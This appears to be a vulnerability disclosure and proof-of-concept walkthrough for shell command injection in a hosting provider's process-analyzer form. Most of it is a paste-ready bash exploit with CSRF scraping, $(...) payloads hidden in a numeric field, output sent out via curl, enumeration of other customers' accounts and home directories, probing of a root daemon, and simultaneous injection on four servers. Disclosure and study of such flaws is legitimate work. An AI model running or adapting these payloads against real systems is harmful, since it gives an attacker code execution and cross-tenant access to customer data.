Security vulnerabilities

The process analyzer feature at /advanced/processes/analyze/ accepts a pids (Process IDs) field that is supposed to receive only numbers. However, the application never validates that the input is actually numeric. The raw value is passed directly to a shell command using Python's subprocess.call() with shell=True, which means any shell command injected into the field gets executed on the server.

Any authenticated alwaysdata user — including free accounts — can inject arbitrary commands into this field. By changing the ?role= parameter, the same account can trigger execution on all 4 physical servers (http, jobs, services, ssh).

1. Remote Code Execution — any free account gets shell command execution on bare metal servers
2. Cross-Tenant Exposure — 10,480+ customer accounts visible; NFS-shared home directories accessible across servers
3. 4 Servers Affected — one account triggers RCE on all 4 via ?role=http/jobs/services/ssh
4. No Container Isolation — kernel 6.18.52-alwaysdata, bare metal, no sandbox
5. Root Escalation Path — alcontainer XML-RPC daemon (port 8570) runs as root, is reachable from customer user space

**Prerequisites**

You need a free alwaysdata account. Then get these 3 values:

API Token → admin.alwaysdata.com → top-right → your name → Tokens → copy the 32-char hex string

**SSH User ID:**
curl -s -u "YOUR_TOKEN:" https://api.alwaysdata.com/v1/ssh/
# Look for "id" in the response

**Account Name:**
curl -s -u "YOUR_TOKEN:" https://api.alwaysdata.com/v1/account/ | python3 -m json.tool | grep login

**Terminal Setup — Paste Once**

EMAIL="YOUR_LOGIN_EMAIL"
PASS="YOUR_PASSWORD"
TOKEN="YOUR_API_TOKEN"
SSH_ID="YOUR_SSH_USER_ID"
ACCOUNT="YOUR_ACCOUNT_NAME"

COOKIES="/tmp/poc_cookies.txt"
BASE="https://admin.alwaysdata.com"

login() {
  rm -f "$COOKIES"
  CSRF=$(curl -s -c "$COOKIES" "$BASE/login/" \
    | grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
    | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
  CODE=$(curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$BASE/login/" \
    -H "Referer: $BASE/login/" \
    --data-urlencode "csrfmiddlewaretoken=$CSRF" \
    --data-urlencode "login=$EMAIL" \
    --data-urlencode "password=$PASS" \
    -w "%{http_code}" -o /dev/null)
  echo "Login: HTTP $CODE"
}

# Fast single-step inject: runs command AND sends result to API in one injection
fast() {
  ROLE="${2:-http}"
  CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
    "$BASE/advanced/processes/analyze/?role=$ROLE" \
    | grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
    | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
  curl -s -b "$COOKIES" \
    -X POST "$BASE/advanced/processes/analyze/?role=$ROLE" \
    -H "Referer: $BASE/advanced/processes/analyze/?role=$ROLE" \
    --data-urlencode "csrfmiddlewaretoken=$CSRF" \
    --data-urlencode "pids=1\$(curl\${IFS}-su\${IFS}\"$TOKEN:\"\${IFS}-XPATCH\${IFS}-d\${IFS}\"{\\\"annotation\\\":\\\"\$($1)\\\"}\"\${IFS}https://api.alwaysdata.com/v1/ssh/$SSH_ID/)" \
    --data-urlencode "duration=5" \
    -w "Injected: HTTP %{http_code}\n" -o /dev/null
  sleep 18
  curl -s -u "$TOKEN:" "https://api.alwaysdata.com/v1/ssh/$SSH_ID/" \
    | python3 -c "import sys,json; print('RESULT:', json.load(sys.stdin)['annotation'])"
}

echo "Ready."


**Step 1 — Login**

Logs in using your credentials and stores the session cookie locally.

login
Expected: Login: HTTP 302


**Step 2 — Prove RCE: id command runs on server**

Injects id directly into the PIDs field. The shell=True subprocess executes it. Result is sent via curl to your own API annotation field — proves outbound execution too.

fast "id"
Expected: RESULT: uid=XXXXX(youraccount) gid=XXXXX(youraccount) groups=XXXXX(youraccount)


**Step 3 — Prove Bare Metal: kernel version**

Shows the server kernel — no container virtualization layer present.

fast "uname\${IFS}-r"
Expected: RESULT: 6.18.52-alwaysdata


**Step 4 — Prove Cross-Tenant: real customer account entries**

Queries LDAP for all accounts on this server. Returns real customer usernames, UIDs, and home directory paths — not just your own account.

login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
  "$BASE/advanced/processes/analyze/?role=http" \
  | grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
  | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
  -X POST "$BASE/advanced/processes/analyze/?role=http" \
  -H "Referer: $BASE/advanced/processes/analyze/?role=http" \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "pids=1\$(getent\${IFS}passwd|tail\${IFS}-5|tr\${IFS}$'\\n'\${IFS}'|'>/home/bughuntdemo2/accts.txt)" \
  --data-urlencode "duration=5" -o /dev/null
echo "Waiting 65s..."
sleep 65
fast "cat\${IFS}/home/bughuntdemo2/accts.txt"


**Step 5 — Prove Cross-Tenant: list another customer's home directory via NFS**

From the account list above, pick any customer username. Their home directory is mounted via NFS and readable from any server. This proves cross-tenant file access.

First get a real customer account name from step 4 output, then:

# Replace CUSTOMER_ACCOUNT_NAME with any account name from Step 4 output

fast "ls\${IFS}/home/CUSTOMER_ACCOUNT_NAME/"


**Step 6 — Prove Scale: total account count**

Total customers exposed on this one server.

login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
  "$BASE/advanced/processes/analyze/?role=http" \
  | grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
  | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
  -X POST "$BASE/advanced/processes/analyze/?role=http" \
  -H "Referer: $BASE/advanced/processes/analyze/?role=http" \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "pids=1\$(getent\${IFS}passwd|wc\${IFS}-l>/home/$ACCOUNT/ac.txt)" \
  --data-urlencode "duration=5" -o /dev/null
echo "Waiting 65s..."
sleep 65
fast "cat\${IFS}/home/$ACCOUNT/ac.txt"

Expected: RESULT: 10480 (or similar large number)


**Step 7 — Prove Root Escalation Path
**
The alcontainer daemon runs as root and exposes XML-RPC on localhost:8570. HTTP 200 confirms the service is reachable from customer user space — it should be internal-only.

login
fast "curl\${IFS}-s\${IFS}-o\${IFS}/dev/null\${IFS}-w\${IFS}\"%{http_code}\"\${IFS}http://localhost:8570/"


Expected: RESULT: 200


**Step 8**

login

# Fire all 4 injections at once — no waiting between
for ROLE in http jobs services ssh; do
  CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
    "$BASE/advanced/processes/analyze/?role=$ROLE" \
    | grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
    | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
  curl -s -b "$COOKIES" \
    -X POST "$BASE/advanced/processes/analyze/?role=$ROLE" \
    -H "Referer: $BASE/advanced/processes/analyze/?role=$ROLE" \
    --data-urlencode "csrfmiddlewaretoken=$CSRF" \
    --data-urlencode "pids=1\$(hostname\${IFS}-I>/home/bughuntdemo2/ip_$ROLE.txt)" \
    --data-urlencode "duration=5" -o /dev/null
  echo "Fired: $ROLE"
done

# Single wait for all 4
echo "Waiting 20s..."
sleep 20

# Read all 4 results
login
for ROLE in http jobs services ssh; do
  echo -n "?role=$ROLE → IP: "
  fast "cat\${IFS}/home/bughuntdemo2/ip_$ROLE.txt"
done


**Step 9 — Cleanup**

▎ Removes all files created during testing. Zero customer data was read or modified.

login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
  "$BASE/advanced/processes/analyze/?role=http" \
  | grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
  | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
  -X POST "$BASE/advanced/processes/analyze/?role=http" \
  -H "Referer: $BASE/advanced/processes/analyze/?role=http" \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "pids=1\$(rm\${IFS}-f\${IFS}/home/$ACCOUNT/accts.txt\${IFS}/home/$ACCOUNT/ac.txt)" \
  --data-urlencode "duration=5" -o /dev/null
echo "Cleanup done."